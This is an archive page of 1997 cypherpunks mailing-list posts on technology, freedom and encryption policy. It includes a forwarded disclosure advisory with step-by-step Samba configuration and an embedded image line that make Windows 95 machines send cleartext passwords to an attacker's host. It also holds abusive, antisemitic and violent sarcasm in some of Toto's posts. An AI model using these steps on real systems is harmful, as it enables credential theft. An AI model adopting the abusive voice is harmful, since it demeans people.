December 2003 - cypherpunks-legacy

RE: Technology and loss of freedom
by Blanc Weber 17 Dec '03

17 Dec '03

From: ichudov(a)algebra.com With the advent of technology, the balance of perceived social needs and government capabilities shifted radically, and it shifted away from the great freedoms of the past. The public perception of freedom now is that freedom is inherently dangerous and is a threat to the public itself. ............................................................ The more advanced the technological creations become, the more potential there is for disaster - in larger measure and in greater speed - and therefore the greater need there is for preparation to deal with the new toys and the consequences when things go wrong. This needed preparation includes the time required for developing concepts regarding our human nature and our place in the artificial "man-made" world, about "who is in control around here" - us or the machines - and what purposes - or whose purposes - the machines serve. But then there's always a confusion and many battles over who will serve whose purposes, not only in regard of machines, but of governments and societies. Technology doesn't communicate automatically any particular message. Anyone can interpret its existence in any way it pleases them to interpret it. If those who use these toys and tools every day do not stop to identify what they are doing, and why, and who is making the decisions in their life; if they don't make conscious choices about their activities and the means they use to accomplish these, it is not the technology which is to blame for the humans' default on thinking. .. Blanc

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No Subject
by Gordon 17 Dec '03

17 Dec '03

I need your help with PGP, I don't get any reply from the remailers can you help?

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ORGANIZED CRIME AND TECHNOLOGY TRENDS
by Toto 17 Dec '03

17 Dec '03

> From: denning(a)cs.georgetown.edu (Dorothy Denning) > Subject: ORGANIZED CRIME AND TECHNOLOGY TRENDS > > We are in the process of writing a report on the impact of technology > and encryption on domestic and international organized crime. The > results will be presented to the Working Group on Organized Crime of the > National Strategy Information Center in Washington, DC on April 29. > Even if you have not encountered encryption, we > are interested in your views on how it will be exploited by organized > crime and ultimately affect our ability to fight global organized crime. I don't think that there is any need for you to fish for imaginary scenarios involving organized crime and encryption as there is more than enough hard evidence of these crimes being comitted by governments around the world. The ultimate form of encryption, for example, is the use of the Top Secret / National Security scam to limit the criminal actions of the government to being viewed only by those who are taking an active part in the crimes against the citizens and the subverting of personal privacy and freedom. Another particularly criminal form of encryption is the corruption of the truth by disinformation campaigns and deceitful scare tactics which government agencies use to disguise the true nature of their freedom-limiting legislation and regulations. I could go on and on, but I seriously doubt that you want to hear about it. I am certain that you are making a great amount of money in your efforts to lower the Jackboots on the citizens of the world by claiming that their freedom and privacy must be taken from them in order to protect them. I hope that you get filthy rich, the key word here being 'filthy'. It amazes me that someone would self-righteously proclaim that I need protection from drug-dealers who are not passing legislation forcing me to use their products, and claim that their efforts to pass legislation to imprison me for exercising my right to privacy are some holy crusade. I hope that your sorry, Nazi asses burn in Hell for the vile, fascist legislation that you and your kind are attempting to foist upon the public. Perhaps you could suggest 'trial' legislation which only denies strong cryptography to Jews, intitially. Then, if your efforts to round them all up and send them to the death camps are successful, you could point to this success as reason to expand the legislation. -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html

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[LONG] Windows Security (was Re: SecureFile)
by Jeremey Barrett 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- I forward this because of the discussion of SecureFile and M$ CryptoAPI, which relies on the security of the windows password to protect keys. Fun... - ------------- Begin forwarded message Subject: BoS: http://www.security.org.il/msnetbreak/ Resent-Date: Tue, 18 Mar 1997 16:41:20 +1100 (EST) Resent-From: best-of-security(a)suburbia.net Date: Mon, 17 Mar 1997 21:14:02 -0600 From: leph One <aleph1(a)DFW.NET> To: best-of-security(a)suburbia.net WINDOWS 95 AND MSIE SECURITY HOLE What's new It is possible from anywhere on the Internet to obtain the cleartext Windows 95 login password from a Windows 95 computer on a network connected directly to the Internet given only the IP address and the workgroup and leave no trace of your actions. It is untested and may work with Windows For Workgroups as well. Description There has been recent discussion on security mailing lists concerning the fact that Microsoft Internet Explorer running on Windows NT will automatically try to log in to a remote SMB server (file server) without prompting the user or without the user's knowledge. By design, the NT machine will transmit to this remote server the encrypted password and username of the user. This is documented by Aaron Spangler. The caveats with this are that the passwords are encrypted and that in many cases people do not use WWW browsers from NT servers, but rather from computers running Windows 95. It has been explained that this same exploit does not work against Windows 95 because Windows 95 is only capable of accessing SMB shares (file sharing) if they are: * Connected to the same subnet. * In the Windows 95 computer's LMHOSTS file on startup * Announced to the Windows 95 computer by a Master Browser It is this third and final condition that can be taken advantage of to obtain the cleartext password and username of any Windows 95 user who uses Microsoft Internet Explorer. Even careless use of Microsoft Network Neighborhood can exploit this hole without the requirement for Internet Explorer The requirements are knowledge of the user's IP address, workgroup name and that they access a hostile web page. The first two are not difficult to obtain and the third does not have to be an obscure page. In the last 6 months sites such as the CIA have been broken into. All it would require is that one un-noticeable line be added to the home page. Since the viewable content of the page has not been altered, such a change can go unnoticed for a long time. The Exploit This involves the use of the Unix SMB implementation called Samba. There are no source changes required, but it should be compiled with -DDEBUG_PASSWORD. Samba has an option in the smb.cfg file called remote announce. This allows you to specify a network address (host or broadcast) and workgroup name to inform about your existence. I have configured the [global] section of the smb.conf file like this: workgroup = EXPLOIT preferred master = yes domain master = yes security = user debug level = 100 remote announce = 10.0.0.255/WORKGROUP The only thing that must be changed is the remote announce line. The rest works as-is. A simple share must then be set up such as: [exploit] path = /tmp public = no browsable = yes Nothing needs to be in the directory as nobody will ever see it. For the sake of untractability, change your hostname to something that does not exist, but ensure to create an entry for it in /etc/hosts. This makes your host untraceable unless the network you are connecting to monitors network traffic. Run smbd. If you are running it from inetd, the process must at least start itself in order to send the broadcast. Using smbclient to browse yourself is enough for this. The broadcast gets sent regardless of what smbd was started for. At this point if anyone on the target network were to look at their Windows 95 Network Neighborhood they would see the host "EXPLOIT". The host is now vulnerable to your attack. While this step may seem a bit obscure and complicated, the truth is that it is very simple. I won't get into details here, but the methods for obtaining the workgroup name are easy to use and readily available. Finding a target network that has not protected ports 137 and 139 is also not so hard. Once you've done that, setting everything up to here takes a very short ammount of time. The final and easiest step is to include the following in any html file a user on this network accesses: <img src=file://\\exploit/exploit/t.gif> Congratulations!!! You will now see in your Samba log a line such as this: checking user=[user] pass=[INNOCENT] What does this all mean? The password of any Internet-connected user running Microsoft Internet Explorer on Windows 95 obtained be found in cleartext provided that their network administrator has not protected them from accessing external SMB servers by closing ports 139 and 137. If you have obtained the password of a user of a Windows NT server, you can now take the username, password and workgroup and log into that Windows NT server. Your true hostname and IP address are not stored in the html file and I am aware of no logging of hosts that enter the browse list. This means that you are not traceable, even though they are connecting to your machine. If you are lucky, you found the Windows 95 machine of the NT administrator and have little work left in order to access the NT server with administrator privileges. Solutions * Use Netscape * Use a proxy firewall or packet filter to close off ports 137 and 139 from external access to your network, though this still leaves you at risk from internal attacks. * Ask Microsoft to rewrite Windows to not send passwords by default. Demonstration We're working on software that will allow anyone to try this out and hope to have it finished tomorrow. Responses / Updates * March 17, 20:00pm: Microsoft Israel was informed of the problem and requested further information. * March 17, 22:30pm: This document initially completed. * March 17, 00:30am: Final tests with remote sites completed. Credits Discovery by Steve Birnbaum with help from Mark Gazit. Additional support from Yacov Drori and Roman Lasker. Thanks also to hobbit for his paper on CIFS, BioH for helping to test this, and anyone else who helped or provided ideas. Disclaimer The details of this exploit are being released with the interest of security in mind. No malice or harm is intended towards any company or organization. We are not responsible for any actions taken based on this information, harmful or otherwise. _________________________________________________________________ - ------------- End forwarded message. - -- =-----------------------------------------------------------------------= Jeremey Barrett VeriWeb Internet Corp. Crypto, Ecash, Commerce Systems http://www.veriweb.com/ PGP Key fingerprint = 3B 42 1E D4 4B 17 0D 80 DC 59 6F 59 04 C3 83 64 =-----------------------------------------------------------------------= -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMy46Ri/fy+vkqMxNAQG5kwQA2Hoeg/W6/So4+YWMlS3f3y+eX/uzFuy3 mLmqiKPf0B+Pm6KGmoH4FXk7OmlMl8IqN4GJ/mGdzX3Otf4oSxrXsQPuNc688QJI F31F7rZTnPtXpIO9IpHvEwqyPksCOsiDJkf0cTFfVygvG2+67c/1OZ3rX/YieLoT EnQEsxjUWqk= =dQxJ -----END PGP SIGNATURE-----

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Re: Technology and loss of freedom
by Cynthia H. Brown 17 Dec '03

17 Dec '03

On Mon, 17 Mar 1997, Igor Chudov philosophised: > I have a thesis that it is the development of technology that has, over > the last 100 years, eroded the basis for and appreciation of human > freedom. Technology has also done precious little for advancing human > freedoms (although cryptography may be an exception). > > Let's first define freedom as the ability of people to do things without > forceful interference from the government. This is an arbitrary > definition, but it appears to be useful for the analysis below. > > First of all, 200 years ago it was very hard for lone people to endanger > lives of themselves and many others. Unfortunately not true - large conflagrations were all too common because of the reliance on fire for heating / cooking, wood-based construction with thatched roofing, and lack of organised, well-equipped fire brigades. > Similarly, people did not have fast moving vehicles and > any traffic did not present serious danger for innocent bystanders. True, but the highway brigands did pose a danger. Additionally, wandering nobility could (and did) commandeer attractive young peasants of either gender for a "visit". The consequences (psychological and/or physical) for these young peasants were irrelevant. > "Hard drugs" also became available only in the recent past [please > correct me] due to advancements in chemistry and medicine. Potable water is also a fairly recent innovation. Beer and wine were generally much safer (before they went sour, that is) than the raw sewage that flowed downstream from the next village. Humans have been chewing various leaves, roots, etc. for millenia. Some of these "natural" items are just as intoxicating as so-called "hard drugs". > If you ride a horse, there is no perceived need for an airbag or a > mandatory horse insurance. If all houses are 1 story tall, nobody is afraid > of an OK City type explosion. > > With the advent of technology, the balance of perceived social needs and > government capabilities shifted radically, and it shifted away from the > great freedoms of the past. The public perception of freedom now is that > freedom is inherently dangerous and is a threat to the public itself. SCA leanings notwithstanding, you cannot convince me that life back then was "freer" than now. Peasants could not leave their land, shopkeepers and artisans were limited by the guilds, and nobles were obliged to comply with the wishes of their "superiors" or be labelled traitors. Maslow's Hierarchy of Needs is another useful argument here - people were so concerned with feeding and clothing themselves that they did not have time to concern themselves with niceties like freedom. A professor of medieval studies once said that the most accurate depiction of Ye Goode Olde Life is in Monty Python's "Holy Grail", in the "Bring Out Yer Dead" scene. ("Must be a king." "Why?" "He hasn't got sh*t all over 'im.") Cynthia =============================================================== Cynthia H. Brown, P.Eng. E-mail: cynthb(a)iosphere.net | PGP Key: See Home Page Home Page: http://www.iosphere.net/~cynthb/ Junk mail will be ignored in the order in which it is received. Klein bottle for rent; enquire within.

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Re: Market Failures, Monocultures, and Dead Legislators
by Toto 17 Dec '03

17 Dec '03

Dale Thorn wrote: > > The best reason to oppose air bags and seat belts is that they > protect the worst class of drivers (those who run into things, > as opposed to those who get run into), who should be killed > by their stupidity. (Survival of the fittest, without govt. > interference). How about a law prohibiting legislators from wearing seat-belts? I think we could get a grass-roots thing going on this one. -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html

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Prologue
by Bubba Rom Dos 17 Dec '03

17 Dec '03

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Re: ORGANIZED CRIME AND TECHNOLOGY TRENDS
by Dale Thorn 17 Dec '03

17 Dec '03

Toto wrote: > > From: denning(a)cs.georgetown.edu (Dorothy Denning) > > Subject: ORGANIZED CRIME AND TECHNOLOGY TRENDS > > We are in the process of writing a report on the impact of technology > > and encryption on domestic and international organized crime. The > > results will be presented to the Working Group on Organized Crime of the > > National Strategy Information Center in Washington, DC on April 29. [snippo] > I hope that your sorry, Nazi asses burn in Hell for the vile, > fascist legislation that you and your kind are attempting to > foist upon the public. Toto, I think you're gonna get a couple demerits for that one. > Perhaps you could suggest 'trial' legislation which only denies > strong cryptography to Jews, intitially. Then, if your efforts to > round them all up and send them to the death camps are successful, > you could point to this success as reason to expand the legislation. Death camps? Aw, shit. You know, once you've accumulated 20 or so Attaboys, one Awshit can erase the whole stack. Guess you'll hafta start over.

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Re: Dead Kids (Oh My!)
by Toto 17 Dec '03

17 Dec '03

Cynthia H. Brown wrote: > The problem with truly criminal drivers, including the criminally > incompetent, is that they tend to kill other people too. They also > have a distressing habit of surviving, unlike the family of four > they hit while running the red light. The reason I start drinking in the morning is that, at bar-closing time, it's just so damn hard finding a school-bus full of children. -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html

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Re: Market Failures, Monocultures, and Dead Legislators
by Dale Thorn 17 Dec '03

17 Dec '03

Toto wrote: > Dale Thorn wrote: > > The best reason to oppose air bags and seat belts is that they > > protect the worst class of drivers (those who run into things, > > as opposed to those who get run into), who should be killed > > by their stupidity. (Survival of the fittest, without govt. > > interference). > How about a law prohibiting legislators from wearing seat-belts? > I think we could get a grass-roots thing going on this one. In California, they have those infamous Prop-nnn's, and the exercises the leg'os have to do to get around them could fill volumes. Here in the Land of Sunshine your son or daughter can begin their dream quest in the fry section of the local McD's, then when they graduate I.S. from Cal-State (Indentured Servant, $200,000 student loans), they can move right on up to waterboy/girl for Barbara Boxer and her mindless goon assistants. To begin with, all politicians should be required to ride around in limos with the top down. If it rains, let 'em use umbrellas. The guys standing by the road watching will be smart enough to bring their umbrellas [hee hee].

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